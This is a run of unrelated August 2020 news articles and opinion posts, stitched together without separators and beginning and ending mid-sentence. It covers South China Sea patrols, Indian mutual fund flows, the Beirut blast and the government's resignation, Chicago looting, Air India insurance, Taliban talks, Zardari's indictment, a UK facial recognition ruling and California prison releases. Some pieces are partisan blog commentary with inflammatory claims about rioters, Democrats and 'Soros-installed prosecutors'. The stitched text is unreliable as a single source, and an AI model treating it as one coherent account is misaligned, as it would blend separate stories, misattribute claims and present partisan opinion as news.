Sea, and that it did not want to provoke a fight with other countries. According to Bacordo, this does not mean that the Philippine Navy would stop patrolling its maritime territory, even though he acknowledged that such patrols would be confined to the countrys exclusive economic zone so as not to escalate tensions in that area. Features like Scarborough Shoal and Reed Bank lie within the Philippine EEZ. What the president was saying is that options that will lead to a shooting war with China should be avoided, he said. In recent weeks, China and the United States have conducted naval maneuvers and exercises in the South China Sea, while engaging in a war of words over the waterway, after U.S. Secretary of State Mike Pompeo declared Beijings sweeping claims there illegal. Last month, the U.S. deployed two aircraft carriers, the USS Nimitz and the USS Ronald Reagan, along with their strike groups to the South China Sea. The deployment, the first in several years, followed a Chinese military exercise around the disputed Paracel islands. Duterte, meanwhile, has ordered the Philippine military not to join other countries in naval exercises in international waters of the sea beyond the 12-mile distance from our shores, according to Philippine Defense Secretary Delfin Lorenzana. Chinese vessels maintain a regular presence in the disputed waters by rotating duties among themselves, Vice Admiral Bacordo explained. When they leave, newer vessels take over. So its like a guard, you are relieved of your duties, but another one takes over, he said. As much as possible, he said, Philippine naval personnel are ordered to restrain themselves because the first one to shoot becomes the loser. We have to be patient with that, he said, referring to the need to resist provocative actions by Chinese ships. Again, the first one to fire the shot loses public support and I am sure they will want us to take the first shot. But we will not. Equity mutual funds (MFs) saw a net monthly outflow for the first time in more than four years as investors booked profits after a sharp rally, with some of them ploughing the money back into safer assets such as gold and debt funds, worried about the recent exuberance in stock prices. July saw a net outflow of 2,480.35 crore from equity mutual funds, the first such sell-off since March 2016, data released by the Association of Mutual Funds in India (AMFI) on Monday showed. Net inflows into equity schemes have been slowing after a robust 11,722.74 crore in March. In June, net inflows were at rs 240.55 crore. Industry experts attributed the outflows to immediate cash requirements of investors amid falling household incomes because of the pandemic. Many investors are also concerned that the stocks rally is dangerously close to snapping amid a slump in profits and the unabated spread of coronavirus infections in India. The redemption pressure on mutual funds intensified even as the contribution from systematic investment plans (SIPs) continued to dwindle. Net redemptions in equity mutual fund schemes increased to a four-month high at 16,622.01 crore in July, rising 23% from 13,520.03 crore in June. SIP inflows declined to 7,830.66 crore in July from 7,927.11 crore in the preceding month. The multi-cap fund category was the worst hit, followed by mid-cap and value fund categories. This could be largely attributed to investors booking profits given the surge in the equity markets across market segments, said Himanshu Srivastava, associate directormanager, Morningstar India. In July, benchmark indices gained more than 7%, driven by foreign institutional funds buying Indian shares worth $1.15 billion. Domestic institutional investors were net sellers of Indian equities worth 10,007.88 crore in the month. Analysts said that a spurt in deal activity with a strong pipeline of equity market offerings by many large-cap companies coming up in the next few months may also be the reason for outflows from equity mutual fund schemes in July. Meanwhile, net inflows into open-ended debt funds rose to 91,391.73 crore in July from 61,845.54 crore in the year-ago period. It was also substantially higher than the 2,861.68 crore in June. However, June typically witnesses redemptions from banks and corporates on account of the ending of the quarter and advance tax payment obligations. July debt fund inflows will be a little distorted by the large investment of a particular corporate group, said Rajeev Radhakrishnan, head of fixed income at SBI Mutual Fund. Reliance Industries Ltd invested at least $4.7 billion into debt funds after receiving cash from stake sales, Bloomberg reported last month. Departmental leaders are among the most qualified public servants in the Federal Government. They are dedicated to ensuring the guidance and management necessary to support the health and well-being of the nation. Learn more about the Department's leadership: Secretary and Deputy Secretary By Express News Service KENDRAPARA: Boat making and repair, considered one of the oldest professions, has taken a hit in Kendrapara and Jagatsinghpur districts owing to Covid-19. The work has declined by almost 50 per cent in the last five months due to dip in demand and unavailability of workers. Around 500 people from the two districts depend on boat making and their livelihood has been hit due to the pandemic. Fishermen mostly purchase boats during the peak season from May to August. However, they are not in a position to buy boats or get them repaired due to their own financial crisis. The slump in fishing activities has serious affected boat makers. Sidharth Manna, who has a boat making unit at Jamboo village, said nowadays carpenters and painters are reluctant to come to work due to the Covid-19 scare and social distancing norms. President of Odisha Traditional Fish Workers Union Prasanna Behera said it takes at least two weeks to build a new country boat which costs anywhere between Rs 50,000 and Rs 2 lakh. Similarly, trawlers are sold for Rs 12-Rs 15 lakh and repair of fishing vessels can take up to one week and costs anywhere between Rs 10,000 and Rs 30,000. While fishermen faced huge losses due to restrictions on transporting their catch to West Bengal and other states, seafood exporters are still facing the heat of the pandemic. Usually by this time, the exporters start purchasing seafood from fishermen in the two districts. However, due to restrictions, they are unable to export seafood to China, Singapore, Japan and other countries. Rioting continues nightly in Portland. Criminals are arrested, immediately released, and return to the streets. It is hard to see how Portland has a viable future. Likewise with Seattle. A city that cannot maintain order will soon be vacated by normal people who are able to leave, leaving only criminals and those without the means to get away. Minneapolis, with its days of rioting followed by skyrocketing crime and parks turned into tent encampments, is not far behind. Panic is spreading among people who own houses and (worse) condominiums there. Then there is Chicago, where mass looting took place last night. Thieves struck on Michigan Avenue, the premier shopping venue between the coasts. Andy Ngo, the prime chronicler of contemporary urban catastrophe, has the story in a series of tweets. Looters walking around calmly with stolen merchandise in Chicago last night. #BlackLivesMatter pic.twitter.com/EdRdLtQAr6 Andy Ngo (@MrAndyNgo) August 10, 2020 Looters broke into a Chicago mall and are looting the place clean tonight. #BlackLivesMatter pic.twitter.com/wKJZbcvpoZ Andy Ngo (@MrAndyNgo) August 10, 2020 Looter uses vehicle to break into a business at the Chicago BLM riot overnight. #BlackLivesMatter #ChicagoRiots pic.twitter.com/9CaddwItYO Andy Ngo (@MrAndyNgo) August 10, 2020 Mass chaos in downtown Chicago. Hundred of people looting stores. Looters broke into a bank and ripped out the atm. They are trying to break into it. This is at State and Lake. @cbschicago pic.twitter.com/oKGrMHGADP Vi Nguyen (@ViNguyen) August 10, 2020 Gunfire rings out on the streets of Chicago during the #BlackLivesMatter riot overnight. Looters scatter the street. #ChicagoRiots pic.twitter.com/RWhCDpvu5N Andy Ngo (@MrAndyNgo) August 10, 2020 One notable feature of these videos is the absence of law enforcement. Police are hopelessly outnumbered, and looters, rioters and arsonists arrogantly assume that they can steal and burn to their hearts content with no interference. Unfortunately, they are right. Few are arrested, those that are arrested are immediately set free, and the likelihood of criminal prosecution is negligible, especially in cities that have Soros-installed prosecutors who have pledged not to prosecute. None of this is remotely viable, obviously. Through history, the normal practice has been to shoot looters. Rightly or wrongly, we are no longer willing to do that. The result, evidently, is that order cannot be maintained. Black Lives Matter sponsors riots and loot-fests, like the one last night in Chicago, with the apparently enthusiastic backing of big business and with not a word of criticism from any Democratic Party politician. What does Joe Biden think of Black Lives Matter-sponsored rioting, arson and looting? Maybe someday someone will ask him. At some point, a society becomes too stupid to survive. I am not sure we have arrived at that point yet, but we may be getting close. Air India Express Boeing 737 aircraft, which crashed in Kozhikode, Kerala on August 7 was insured for $50 million. Air Indias entire fleet of 170 planes (including Air India, Air India Express(AIE) and Alliance Air aircraft) is insured for close to $10 billion and the airline also has liability cover of $750 million, underwritten by four public sector insurance companies, says a report by Business Standard. Moneycontrol could not independently verify the report. The carrier had renewed the policy in April 2020 on annual premium of $30 million, they added. Insurance policy secures an airline from loss of assets (plane, engine, spares), while liability cover protects against third-party claims. One public sector insurance executive told the paper that the claim settlement for the damaged AIE plane would depend on hull value and liability. The prices will harden in the international market. At the same time, carriers are facing liquidity crises. The reinsurers price, too, will move up. The insurers may also have to push up rates, as prices are driven by reinsurers, they said. Air India is expected to get full insured amount for the aircrafts hull loss, it is also expected to pay compensation to kin of deceased and those injured from liability cover. A GIC official said liability is not a worry for GIC as it has full protection against aviation risks. The maximum net loss to GIC will not be above $8.5 million. Any amount beyond the above-mentioned figure will be recovered from foreign reinsurers. Its still early days for a total loss assessment, they added. The GIC official also agreed that rates of aviation risk will harden. The airline said it would pay compensation in accordance with the applicable laws at the appropriate juncture. RTHK: Prime minister of Lebanon resigns Lebanon's prime minister announced the government's resignation on Monday, saying a huge explosion that devastated Beirut and triggered public outrage was the result of endemic corruption. The August 4 detonation at a port warehouse of more than 2,000 tonnes of ammonium nitrate killed at least 163 people, injured more than 6,000 and destroyed swathes of the Mediterranean capital, compounding months of political and economic meltdown. "Today we follow the will of the people in their demand to hold accountable those responsible for the disaster that has been in hiding for seven years, and their desire for real change," Prime Minister Hassan Diab said in a speech announcing the resignation. President Michel Aoun accepted the resignation and asked Diab's government - formed in January with the backing of Iran's powerful Hezbollah group and its allies - to stay as a caretaker until a new cabinet is formed, a televised announcement said. Ahead of Diab's announcement, demonstrations broke out for a third day in central Beirut, with some protesters hurling rocks at security forces guarding an entrance leading to the parliament building, who responded with tear gas. For many ordinary Lebanese, the explosion was the last straw in a protracted crisis over the collapse of the economy, corruption, waste and dysfunctional governance, and they have taken to the streets demanding root-and-branch change. "The entire regime needs to change. It will make no difference if there is a new government," Joe Haddad, a Beirut engineer, told Reuters. "We need quick elections." The system of government requires Aoun to consult with parliamentary blocs on who should be the next prime minister, and he is obliged to designate the candidate with the greatest level of support among parliamentarians. Diab's government was under severe pressure to step down. Some ministers had already resigned over the weekend and Monday while others, including the finance minister, were set to follow suit, ministerial and political sources said. Diab said on Saturday he would request early parliamentary elections. (Reuters) This story has been published on: 2020-08-11. To contact the author, please use the contact details within the article. Stoner Food Critic Joel Haas has done his part in trying to keep the hospitality industry afloat amid the coronavirus. The 51-year-old Washington D.C. resident wanted to do anything he could to help highlight the fact that so many restaurants are struggling. The restaurants are doing their thing and really finding their rhythm to adapt to the new world, Haas said. People have been really appreciative of me ordering takeout and coming out, supporting them and giving them advice as well. I just want to help support in any way I can because were all trying to figure this out. Before the pandemic, Haas was traveling the country creating content for his High Speed Dining and Inhaling America video podcast in which he gets high on legal, recreational cannabis and eats at premier restaurants around the country. Haas produced more than 100 Stoner Approved episodes in the podcasts first year, chronicling 600 meals at 315 restaurants in 17 states. Food and fitness go hand and hand for Haas. He not only walks 10 miles a daily but lifts weights in order to burn off all the delicious calories. He thinks of what he does as fine dining for sport and typically eats at Michelin star restaurants but is enjoying a different side of the food business in 2020. Hes experienced an incredible rise in the quality and convenience of takeout food that previously wasnt available to him. Before, youd have to make reservations sometimes months in advance to get into some of these places, Haas said. A lot of these restaurants would have never done takeout before. Now, youre able to get the greatest quality and variety of food delivered to your door in an hour. Haas has eaten exclusively restaurant food since the pandemic began. Hes placed over 175 orders from 72 local D.C. restaurants, totaling more than 450 meals and counting. Hes spent more than $33,000 supporting the hospitality industry, and tips generously. And through it all, hes spread the word about some of these restaurants while producing some unique and creative videos. Out of the 72 restaurants Haas ordered from only a hand full even offered delivery options prior to the pandemic. This speaks volumes of the ever-changing restaurant business during this nationwide pandemic. It took him just 72 days to complete his Takeout A-Z Challenge, in which he ordered from restaurants that start with every letter of the alphabet. Haas challenges others around the country to do the same to support their local restaurants. Hes also supported and donated to a handful of local food banks and charitable organizations, not only in D.C. but across the country in cities hes visited. Hes given over $6,300 in donations to 24 locations in 17 states during the pandemic including Canada. I just like knowing that I'm helping put food in people's stomachs if I can, Haas said. In these tough times, everybody needs help and if there was ever a time in my lifetime to help out others, this is the situation to do so. Haas is going 150 days before he even thinks about taking his first takeout break which is approaching on August 13th. Thats five months of eating nothing but fine dining restaurant food. Whos done that? And Im in great shape! Haas said with a chuckle. He also referenced the famous documentary Super Size Me, which contained 30 days of footage. Haas has five months worth of footage, giving him more than 450 meals that hes chronicled. I am trying to figure out how to produce it and who to partner up with because I can produce this in so many ways, Haas added. It can be marijuana heavy, it can be food heavy but Im hoping to find a partner to produce this based on their needs. Until then, Haas will continue supporting local restaurants, donating to cities throughout the country and getting legally high doing his part to help buoy the economy. About Joel Haas, Stoner Food Critic Joel Haas gets high on legal, recreational cannabis and eats at premier restaurants around the country. Hes produced more than 100 episodes in his podcasts first year, chronicling 600 meals at 315 restaurants in 17 states. Each episode has original marijuana, food, music and Stoner Approved ringtones, text tones, alerts and alarms as sound effects and the soundtrack. iPhone owners can personally get their hands on them on his website stonerfoodcritic.com. Since 2015, hes had at least 2,250 meals at more than 730 fine dining establishments, covering 22 states and several countries. His High Speed Dining and Inhaling America video podcast has been his way of documenting more than 2,250 stoned meals in the last five and a half years. For more information on Joel Haas, the Stoner Food critic, please visit stonerfoodcritic.com. Taliban says ready for talks with Kabul a week after release of 400 militants Iran Press TV Monday, 10 August 2020 7:18 AM The Taliban militant group says it is ready to begin long-delayed peace talks with the Afghan government within a week after Kabul completes the process of releasing the remaining Taliban prisoners. In an interview with the BBC on Sunday, the spokesman for the Taliban's political office in Doha, Qatar, welcomed Kabul's decision earlier in the day to release the 400 inmates, the last batch of 5,000 prisoners to be freed as a condition for starting intra-Afghan negotiations. Suhail Shaheen said the Taliban will join the peace process a week after the 400 are released, adding that the first round of the face-to-face discussions is expected to be held in the Qatari capital. He said a six-member delegation in Doha led by Abbas Stanikzai, the former chief negotiator of the Taliban during their talks with the US, will lead the militant group's delegation. His remarks come hours after the Loya Jirga, Afghanistan's grand assembly, approved the release of the 400 Taliban prisoners, whom Kabul was wary of freeing given their background of involvement in deadly attacks and kidnappings. In a resolution it issued on Sunday to make the announcement, the Loya Jirga also called for an immediate and long-lasting ceasefire, which would pave the way for an end to the war in Afghanistan. Similarly, President Ashraf Ghani had appealed to the militant group to pledge to a complete ceasefire ahead of talks. Asked during the interview about the calls in Kabul for a truce, Shaheen said, "The ceasefire is part of the intra-Afghan negotiations agenda that will be discussed there. It has been mentioned in the Doha agreement." He had earlier told Reuters that truce "is and will be an important part of the talks, which will be decided during talks (not before)." According to Afghan government data, 156 of the 400 inmates have been sentenced to death, 105 are accused of murder, 34 are accused of kidnapping that led to murder. Among them are also 51 drug smugglers, 44 blacklisted by the Afghan government and its allies, and 10 accused of other crimes. The intra-Afghan peace talks were initially planned to start in March, but the process has repeatedly been delayed amid the spat over the prisoners, while the Taliban have kept up their attacks across the country. The planned release of the 400 prisoners has raised concerns among civilians and rights groups. The Loya Jirga has urged the government to seek forgiveness from the families of those killed in attacks carried out by the Taliban prisoners planned to be released, More than 100,000 Afghan civilians are estimated to have been killed or injured in the past decade, more than 10,000 in 2019 alone. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Ethiopian Defence Minister Lemma Megerssa and two other top officials have been temporarily suspended from the ruling Prosperity Partys central committee. Mr. Lemma was once a close ally of Prime Minister Abiy Ahmed and a key figure in the countrys political and economic reform over the past few years. Prior to being appointed as a defence minister, he was the head of the countrys most populous state, Oromia. But last November, Mr. Lemma publicly criticized the prime ministers efforts to reorganize and rebrand the Ethiopian Peoples Revolutionary Democratic Front (EPRDF) - a coalition of four ethnic-based parties that has been in power since the early 1990s. The EPRDF was renamed as the Prosperity Party. He also cast doubts on Mr. Abiys philosophy of Medemer (coming together). The announcement of his suspension comes after the Oromia wing of the ruling party held a two-day summit in the wake of ethnic and religious violence that claimed the lives of more than 170 people. A spokesperson for the party accused Mr. Lemma of disregarding the party and his duties. It is not yet clear if Mr Lemma will continue holding the position of defence minister. Teyba Hassen, who was Mr Lemmas deputy when he was head of Oromia state, is also among those suspended for reasons that are related to the recent violence, the spokesperson said. Source: BBC Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video The chaos in Chicago had a different look this morning. It was no longer one gang targeting another and killing a helpless child playing on the front yard. Instead, they hit "the nice part of town," as a friend in the Windy City called it. This is a report about the events of Sunday night: "Car caravans" of looters made their way into Chicago's Magnificent Mile, Gold Coast, and Irving North neighborhoods and neighboring commercial districts overnight, which officials believe was spurred by a police-involved shooting in Englewood earlier in the day. At the scene of the South Side shooting, "tempers flared fueled by misinformation as the afternoon turned into the evening," said Chicago Police Superintendent David Brown. So they got the wrong news story and decided to throw bricks at the store windows? Can we get our hands on the guy who "tweeted" the wrong report that ignited this? There are two problems in Chicago, Portland, and all of the other cities run by Democrats. First, the criminals do not respect or fear "leaders" like Mayor Lori Lightfoot. They are not afraid of consequences. They know that one way or another, the judge will put them back on the streets. Second, the police are not allowed to do their job. In fact, 13 police officers were hurt in this Chicago incident. How is this allowed to happen? How do you put police officers in harm's way and not protect them? All of this is not happening in a vacuum. According to Rasmussen, 66% of Americans believe Trump that identifies more with the police in violent protests situations. On the other hand, 60% believe that most national Democratic leaders like House speaker Nancy Pelosi identify more with the protesters. Once upon a time, such a poll would destroy a political party. Let's hope that's still the case in November. PS: You can listen to my show (Canto Talk) and follow me on Twitter. Maclean Center An anti-corruption court in Pakistan on Monday indicted former president Asif Ali Zardari through video link in a graft case where he was accused of influencing authorities to release loans to front companies. As Zardari could not appear in the court due to illness, the indictment was carried out through video link, which was the first such indictment in the judicial history of the country. The 63-year-old husband of the country's first woman prime minister Benazir Bhutto appeared before the court through video link from Bilawal House in Karachi. Judge Muhammad Azam Khan of the accountability court in Islamabad indicted him and nine other accused in the Park Lane case. During the hearing, Zardari maintained that his lawyers are at the Supreme Court and he cannot be indicted in the absence of his lawyers. However, the court dismissed this and remarked that Zardari would be indicted regardless, and his lawyers would simply be marked absent if they did not appear before the court. The indictment has paved the way for the proper trial to begin. Other prominent accused in the case include the Omni Group chief Anwar Majeed, Sher Ali, Farooq Abdullah, Saleem Faisal and Muhammad Hanif. All of the accused, including the former president and Anwar Majeed, maintained innocence and pleaded not guilty before the court. According to the indictment, Zardari influenced the relevant authorities during his tenure as president to release loans to front companies. He was accused of being a director of the Park Lane company and planning to commit fraud. The former president allegedly got his front company, Parthenon Private Limited, a loan of Rs 1.5 billion with ill intention, and the money was then transferred for his personal use through fake accounts. The National Accountability Bureau accused the former president of causing the national exchequer a loss of Rs 3.77 billion in the case. In the 13-page NAB case against Zardari and other accused, the anti-graft watchdog alleges that the accused created properties in fake names through Park Lane Company using Parthenon Private Limited as the front company. Zardari has said the allegation was part of a vilification campaign by Imran Khan-led ruling Pakistan Tehreek-e-Insaf (PTI) party to malign the Opposition leaders. Investment and NTA Update ASX:TNT FRA:N1R ASX:MCE Sydney, Aug 11, 2020 AEST (ABN Newswire) - In light of Dawney & Co Ltd's ( NSX:DWY ) performance since the quarterly report to 30 June 2020, the Board provide the following investment update to 10 August 2020.At market close Monday, 10 August 2020, the unaudited pre-tax NTA per share was $0.18, a 49% increase on 30 June 2020.The main contributors to this performance were Tesserent Ltd (TNT) +262%, Thorn Group Ltd (TGA) +72%, Consolidated Financial Holdings Ltd (CWL) +43%, AF Legal Group Ltd (AFL) +40% and Matrix Composites & Engineering Ltd (MCE) +9%. Subsequent to the 30 June quarter, we added to TNT and TGA and initiated positions in AFL and MCE.Tesserent Ltd (We began analysing TNT when it acquired the security assets from PS&C Limited and then Nth. Consulting Pty Ltd at the end of 2019.The 10 December 2019 Nth acquisition announcement highlighted their "cyber360 and acquisition strategies" (the acquisition/roll up opportunity was intriguing).At the beginning of 2020 the company appointed Geoff Lord as Chairman. In a shareholder letter on 14 January 2020 Mr Lord said, "Having built UXC, my former IT services business, into an $800 million revenue opportunity, I see potential for Tesserent to copy that trajectory in today's cybersecurity market".Our initial investment in February was predominantly backing their ability to find, acquire and consolidate cyber services businesses. In June there was a well-reported cyber attack on government and private sector computer networks and the government responded with substantial cyber security initiatives, boosting most listed cyber security companies.Having monitored each quarterly report since October 2019, we believed that TNT would achieve the $40 million revenue run rate to 30 June 2020 and that they would use the year end result to launch the company into the next 12 months, accordingly we added to our holding before the quarterly report was released.On 20 July, the company announced it had achieved its FY2020 financial objective and had secured funding for future acquisitions (three that were well progressed). To date, one acquisition has been announced (Seer) and we await announcements on the other two. The stock has exceeded our initial expectations, but as time has gone by and management have demonstrated the ability to find and acquire businesses, we now see the potential for TNT to become a small cap darling; with massive government spending, the increasing requirement for cyber security, the "Covid-proof" nature of the sector and the technology/roll up premium the Australian market usually pays for companies that can deliver on their strategy.AF Legal Group Ltd ( ASX:AFL ) (AFL's goal is to become Australia's first and largest National Family Law Firm.AFL released their FY20 Investor Presentation on 10 August 2020, which summarises the opportunity and digital marketing strategy well. Since listing in June 2019 the company has executed on its growth objective organically and through lateral hires and acquisitions.As evidenced by AFL's case file numbers, the family law sector is growing and largely unaffected by the Covid/economic fallout. We are keen to see what the Board and management team can do and believe our relatively fast investment gain is only the beginning.Matrix C & E Ltd (We have followed MCE for a while, as a number of value investors are shareholders. On 24 July 2020 the company announced a strategic review in response to the depressed oil and gas conditions. MCE had net cash of $14.7m versus the $16.4m market cap that we paid for our shares. We thought this was a fairly good entry point into a potential corporate situation.This recovery has offset most of the Horizon Oil (HZN) loss that materially impacted our NTA in the first two quarters of this calendar year. We have sold down a portion of our HZN holding to reduce it's weighting in the portfolio, realising capital losses.Moving forward, although we are cautious about market valuations and the state of the real economy, we continue to assess value focused and situational opportunities. We have also commenced to seek out opportunities in what we deem to be "covid/recession-proof" businesses, such as our investments in TNT (cyber security) and AFL (family law).In the short term, we look forward building our cash reserves with capital returns from both CWL and 8IP Emerging Companies Ltd (8EC). The CWL 11cps capital return EGM is set for 31 August with payment planned for 8 September. 8EC announced a further capital return of 2cps, in addition to the previously received 5cps, to be paid today, 11 August.Finally, we are in the process of finalising our FY2020 accounts, which will review a difficult period for our company. However, Dawney & Co is in now in far better shape than it was 6 months ago and, feeling like we have turned a corner, are excited about future prospects (not to dismiss the many possible corners ahead of us).About Dawney & Co LtdListed on the National Stock Exchange of Australia.Issue Code: DWYIssue Name: Dawney & Co Ltd FPOIssue Type: 01 - OrdinaryISIN: AU0000031338Industry: FinancialsNominated Adviser: HopgoodGanim Lawyers C/- HopgoodGanim Lawyers Level 8, 1 Eagle Street Brisbane - QLD Australia 4001Listed Date: Friday, 20 December 2013 The use of automatic facial recognition technology by a U.K. police force in South Wales was unlawful, the Court of Appeal ruled Tuesday, in what is being hailed as a landmark judgement. Like other versions of the technology, the facial recognition software used by South Wales Police (SWP) automatically scans the faces of pedestrians without them knowing and compares the faces to images on a database of persons of interest. Three judges found SWP had breached privacy rights, data protection laws and equality laws by deploying the technology called "AFR Locate." They specifically looked at two instances where it was deployed, however the police used it on around 50 occasions between May 2017 and April 2019. The case was brought to court by 37-year-old Cardiff resident Ed Bridges, who is also a civil liberties campaigner. He has been supported by civil liberties organization Liberty. The Court of Appeal ruled there is no clear guidance from the U.K. privacy regulator on where AFR Locate can be used and who can be put on a police watchlist. It also ruled that the police force's data protection impact assessment was deficient and that SWP did not take reasonable steps to find out if the software had a racial or gender bias. The ruling comes after two senior judges at London's High Court dismissed Bridges' claim in September 2019, ruling that the technology was in fact lawful. The Court of Appeal upheld three of the five points raised in the appeal, however, effectively making the technology unlawful until it is approved by the U.K. government. Bridges, who was in the vicinity of two deployments of AFR Locate by SWP, said he was "delighted" with the decision. "This technology is an intrusive and discriminatory mass surveillance tool," he said. "For three years now South Wales Police has been using it against hundreds of thousands of us, without our consent and often without our knowledge. We should all be able to use our public spaces without being subjected to oppressive surveillance." Bridges had his face scanned while he was Christmas shopping in Cardiff in December 2017 and at an anti-arms protest which was held at the Motorpoint Arena in March 2018. SWP said it had no plans to appeal the decision. In January, London's Metropolitan Police force said it planned to start using live facial recognition cameras across the city. Less than half of the British public (47.5%) trust the use of facial recognition technology to benefit society in the coming five years, according to a study from U.S. tech firm VMware. The same study found that 54% of the British public advocate for restricted access to biometric data, which includes things like facials images or fingerprint data. Joe Baguley, VP and CTO of VMware in EMEA, said it was right to show caution with facial recognition technology at this time. "Recent cases have seen high instances of 'matches' that are later labelled as false positives, suggesting the technology does not yet possess enough intelligence to guarantee accurate results or overcome any unconscious bias which may have impacted its development," he said. A day after sealing a peace deal with the Congress party high command, former Rajasthan deputy chief minister Sachin Pilot said he has not demanded any post from the party. I have not demanded any post from party but have said that MLAs have raised issues and there should be no vendetta politics against them, he told reporters at his residence. He said differences can be ideological, on functioning or thoughts but in politics, there is no space for vendetta. I had and have good relations with all leaders, he said. I am happy that the party leadership heard our issue be it related to functioning, development, workers participation, self-respect etc. The AICC has constituted a committee, which in a time-bound manner will address the issues, said Pilot. On his arrival in Jaipur, he was mobbed by a huge group of supporters who welcomed him by raising slogans in his favour. Earlier in the day Pilot had said that his rebellion was never anti-party but merely a means to articulate the happenings in Rajasthan On Monday too he had said that he was not after any post, Pilot had said it was the party that allotted a position and could take it back as well. Pilot had met former Congress president Rahul Gandhi and Priyanka Gandhi Vadra in Delhi on Monday to end the revolt in the state unit that threatened the survival of the Ashok Gehlot government ahead of an assembly session on August 14. He put his rebellion in cold storage after the party high command on Monday promised to look into the issues he had him against Gehlot. He was sacked as deputy chief minister and removed as Congress chief in Rajasthan last month after his differences with Gehlot came to a head. After Pilot made his peace move on Monday, Gehlot also extended an olive branch on Tuesday saying peace and brotherhood will remain in party. Lebanon's prime minister has announced the government's resignation, saying a huge explosion that devastated Beirut and triggered public outrage was the result of endemic corruption. The August 4 detonation of more than 2,000 tonnes of ammonium nitrate at a port warehouse killed at least 163 people, injured more than 6,000 and destroyed swathes of the Mediterranean capital, compounding months of political and economic meltdown. "Today we follow the will of the people in their demand to hold accountable those responsible for the disaster that has been in hiding for seven years, and their desire for real change," prime minister Hassan Diab said. President Michel Aoun accepted the resignation and asked Mr Diab's government - formed in January with the backing of Iran's powerful Hezbollah group and its allies - to stay in a caretaker role until a new cabinet is formed. Ahead of Mr Diab's announcement, demonstrations broke out for a third day in central Beirut, with some protesters hurling rocks at security forces guarding an entrance leading to the parliament building. Tear gas was released in response. For many ordinary Lebanese, the explosion was the last straw in a protracted crisis over the collapse of the economy, corruption, waste and dysfunctional governance. "The entire regime needs to change. It will make no difference if there is a new government," Joe Haddad, a Beirut engineer, said. The system of government requires Mr Aoun to consult with parliamentary blocs on who should be the next prime minister, and he is obliged to designate the candidate with the greatest level of support among parliamentarians. Mr Diab's government was under severe pressure to step down and some ministers had already resigned over the weekend. Others, including the finance minister, were set to follow suit, political sources said yesterday. An international donor conference on Sunday raised pledges worth nearly 253m for immediate humanitarian relief, but foreign countries are demanding transparency over how the aid is used. Some Lebanese doubt change is possible in a country where sectarian politicians have dominated since the 1975-90 conflict. "It won't work, it's just the same people. It's a mafia," said Antoinette Baaklini, an employee of an electricity company that was demolished in the blast. LOS ANGELESTerebea Williams was 22 when she shot her boyfriend, drove 750 miles with him bleeding in the trunk of his own car and then dragged him into a Northern California motel, tied him to a chair and left him to die. Convicted of murder, carjacking and kidnapping, Williams went on to earn a college degree during her 19 years in prison, where she also mentored younger inmates and was lauded by administrators for her exceptional conduct while incarcerated. The contrasting portraits of Williams as stone-cold killer and rehabilitated model prisoner highlight the difficulties in a plan to release thousands of California inmates to curb the spread of COVID-19, which has killed at least 52 of those incarcerated and sickened more than 8,700 others. This spring, the state expedited the release of 3,500 inmates because of the coronavirus, and in July it freed 2,345 others early. Thousands more are eligible for release, including at least 6,500 deemed to be at high risk because of medical conditions that make them especially vulnerable to COVID-19. Although Gov. Gavin Newsom and corrections officials have focused on freeing nonviolent offenders, they also are letting out people who, like Williams, have committed violent crimes but have serious medical conditions. Williams, 44, walked out of a womens prison in Chowchilla, Calif., on July 29, lopping decades off her 84-years-to-life sentence for killing Kevin John Ruska Jr., who died of infection from a gunshot wound to the gut. Some prisoners rights advocates say Williams exemplifies the type of inmate who should be released one who has already served a lengthy sentence, poses a low risk of reoffending and is particularly vulnerable to the coronavirus. Some are also pushing to expand the criteria for early releases to include similar types of inmates now serving life without parole for murder. But in Williams case and others, officials have drawn the ire of prosecutors, victims rights advocates and family members amid questions about which and how many inmates are being released and whether it is being done with enough transparency to protect the public. The governor of California, Terebeas public defender and the politicians of California have used COVID to allow this cold, calculated, lying, unremorseful murderer out of jail 65 years early, without giving the victim, Johnny, a voice, said Ruskas cousin, Karri Phillips. Whether violent felons should be paroled has long been debated, but the matter has become more urgent because of the coronavirus and the troubled and chaotic way some nonviolent offenders have been set free. The process for determining who gets out and why is unclear, and some victims families say they have been blindsided by decisions. Some inmates and their lawyers also say they have been kept in the dark about the selection process. Brian Pomerantz, a defence attorney who represents a San Quentin inmate at high risk medically and within months of parole eligibility, petitioned a federal court on July 10 for an early release. But a month later, Pomerantz said, he still had heard nothing from the court or corrections officials on the fate of Anthony Waldrip, who has served 20 years of a 25-years-to-life sentence for being a felon in possession of a firearm. Waldrip, now 54, did not own the gun and was moving it from a play area where an eight-year-old boy was showing it to his sister when police spotted him with the weapon, Pomerantz said, calling it a victimless crime. To the best of my knowledge, no one has even considered him for early release, he said. If the state is not releasing the least dangerous, the soonest eligible, the most medically vulnerable, or those without victims, what criteria are being utilized? The states release numbers are fluid and subject to parole regulations and the decisions of officials at the California Department of Corrections and Rehabilitation. Some inmates are being freed on parole through regular channels, while others must meet such criteria as being within six or 12 months of the end of their sentences, depending on the prison. Despite recent releases, many prisons remain at or over capacity, making it difficult to stop coronavirus from spreading. More releases are needed, said medical experts, to control the crisis and alleviate the risk that ill inmates will need hospitalizations in surrounding communities where health care systems are already stressed. In a statement, corrections officials said that the 6,500 inmates identified as medically high-risk for COVID-19 are only eligible for consideration for release and will be evaluated based upon public safety and public health considerations. We take these decisions very seriously and continue to work with our law enforcement, public health, and community-based partners to address their concerns and work through this public health emergency together, it said. Advocates for compassionate releases argue that most of those being considered are older and unlikely to commit new violent crimes. They say that only people who have shown they are rehabilitated, often after decades behind bars, are eligible and the releases ultimately are in line with reforms that have rolled back overly harsh sentences handed out decades ago in a tough-on-crime, three-strikes era. The safest person to be let back into our communities is a lifer, a lifer who has worked on himself, who has been to (Alcoholics Anonymous) for 20 years, who has done victim impact classes, who has unpacked childhood trauma, said Karen McDaniel, founder of Place4Grace, which provides rides home to those recently released and advocates for prison reform. I any day would rather have a van full of lifers than a van full of guys who have just done a year, she said. Newsom, like Gov. Jerry Brown before him, has committed to reforming the criminal justice system with an eye toward lowering incarceration rates and prioritizing rehabilitation. But the spectre of a violent offender committing another heinous crime after release is every politicians nightmare. Many recall the case of Willie Horton, a Massachusetts prisoner who committed a rape while out on an inmate furlough program, a much-publicized crime that helped doom then-Gov. Michael Dukakis presidential hopes in 1988. We still have an issue of should we only release violent or nonviolent offenders, and that is a political issue we shouldnt be talking about when 